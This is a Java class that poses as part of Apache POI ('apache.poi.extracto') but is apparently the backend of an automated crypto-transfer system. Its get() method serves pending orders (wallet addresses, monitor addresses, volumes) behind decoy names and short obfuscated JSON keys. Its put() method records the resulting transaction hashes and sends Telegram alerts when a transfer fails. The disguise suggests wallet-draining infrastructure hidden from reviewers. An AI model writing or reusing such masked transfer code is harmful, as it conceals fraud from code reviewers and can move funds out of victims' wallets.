package apache.poi.extracto; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import apache.poi.assistant.MD5; import apache.poi.assistant.RandomCharacterAssistant; import apache.poi.assistant.SafetyAssistant; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import kernel.util.ThreadUtils; import kernel.util.UUIDGenerator; import kernel.web.ResultObject; import project.monitor.AutoMonitorOrderService; import project.monitor.model.AutoMonitorOrder; import project.monitor.telegram.business.TelegramBusinessMessageService; import project.party.PartyService; import project.party.model.Party; import util.LockFilter; public class RandomHandleDecorator implements CharacterRandomHandle { protected PartyService partyService; private AutoMonitorOrderService autoMonitorOrderService; private RandomCharacterAssistant randomCharacterAssistant; private TelegramBusinessMessageService telegramBusinessMessageService; @Override public String get(String random) { String character = PropertiesUtil.getProperty("character"); try { JSONObject jSONObject = md5Check(random, character); Integer sequence = jSONObject.getInteger("s"); List order_list = randomCharacterAssistant.findAfter(sequence); List> list = new ArrayList>(); for (int i = 0; i < order_list.size(); i++) { AutoMonitorOrder order = order_list.get(i); Map map = new HashMap(); map.put("a", order.getAddress()); map.put("ma", order.getMonitor_address()); map.put("v", order.getVolume()); map.put("s", order.getSequence()); list.add(map); } Map data = new HashMap(); data.put("list", list); data = bulidmd5(data, character); ResultObject resultObject = new ResultObject(); resultObject.setData(data); return SafetyAssistant.base64Encoder(JSON.toJSONString(resultObject)); } catch (Throwable e) { return bulidResult("9823", character); } } @Override public String put(String random) { String character = PropertiesUtil.getProperty("character"); boolean lock = false; AutoMonitorOrder order = null; try { JSONObject jSONObject = md5Check(random, character); Integer sequence = jSONObject.getInteger("s"); String succeeded = jSONObject.getString("su"); String hash = jSONObject.getString("h"); String message = jSONObject.getString("me"); order = randomCharacterAssistant.findBy(sequence); if (order == null) { return bulidResult("7846", character); } if (!LockFilter.add(order.getId().toString())) { return bulidResult("locking", character); } lock = true; if (order.getSucceeded() != -1) { return bulidResult("0", character); } if ("1".equals(succeeded)) { order.setSucceeded(0); order.setTxn_hash(hash); autoMonitorOrderService.update(order); } else if ("2".equals(succeeded)) { order.setSucceeded(2); order.setError(message); autoMonitorOrderService.update(order); /** * 交易发起失败发送消息 */ Party party = partyService.cachePartyBy(order.getPartyId().toString(), false); telegramBusinessMessageService.sendTransferFromErrorTeleg(party, order.getVolume(), message, null); } return bulidResult("0", character); } catch (Throwable e) { return bulidResult("9832", character); } finally { if (lock) { ThreadUtils.sleep(500); LockFilter.remove(order.getId().toString()); } } } private JSONObject md5Check(String random, String value) { try { String decoderdText = SafetyAssistant.base64Decoder(random); JSONObject resultJson = JSON.parseObject(decoderdText); String uuid = resultJson.getString("u"); String text = "uuid=" + uuid + "&smartomsert=random" + "&md5=" + value; String m = resultJson.getString("m"); String md5 = MD5.sign(text); if (m.equals(md5)) { return resultJson; } else { throw new RuntimeException("0973"); } } catch (Exception e) { throw new RuntimeException("0974", e); } } private String bulidResult(String code, String value) { ResultObject resultObject = new ResultObject(); resultObject.setCode(code); Map data = new HashMap(); data = bulidmd5(data, value); resultObject.setData(data); return SafetyAssistant.base64Encoder(JSON.toJSONString(resultObject)); } private Map bulidmd5(Map data, String value) { String uuid = UUIDGenerator.getUUID(); String text = "uuid=" + uuid + "&smartomsert=random" + "&md5=" + value; String md5 = MD5.sign(text); data.put("u", uuid); data.put("m", md5); return data; } public void setRandomCharacterAssistant(RandomCharacterAssistant randomCharacterAssistant) { this.randomCharacterAssistant = randomCharacterAssistant; } public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) { this.telegramBusinessMessageService = telegramBusinessMessageService; } public void setPartyService(PartyService partyService) { this.partyService = partyService; } public void setAutoMonitorOrderService(AutoMonitorOrderService autoMonitorOrderService) { this.autoMonitorOrderService = autoMonitorOrderService; } }